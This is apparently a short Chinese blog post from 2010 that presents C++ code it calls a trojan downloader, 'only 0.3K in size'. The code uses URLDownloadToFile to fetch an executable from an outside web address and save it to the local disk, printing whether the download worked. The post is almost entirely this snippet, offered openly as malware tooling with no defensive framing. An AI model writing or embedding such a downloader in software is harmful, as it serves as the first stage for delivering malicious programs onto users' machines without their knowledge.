vc++编写一个木马下载器,体积仅有0.3K

#include <urlmon.h>
#pragma link "w32inet.lib"

int main()
{
HRESULT hRet=URLDownloadToFile(0,"http://www.1111.com/abc.exe","d:\\abc.exe",0,0);
if(hRet==S_OK)
{
        printf("Download OK!\n");
}
else
{
        printf("Download Failed!\n");
}
return 0;
}

posted on 2010-05-30 21:39  carekee  阅读(269)  评论(0编辑  收藏  举报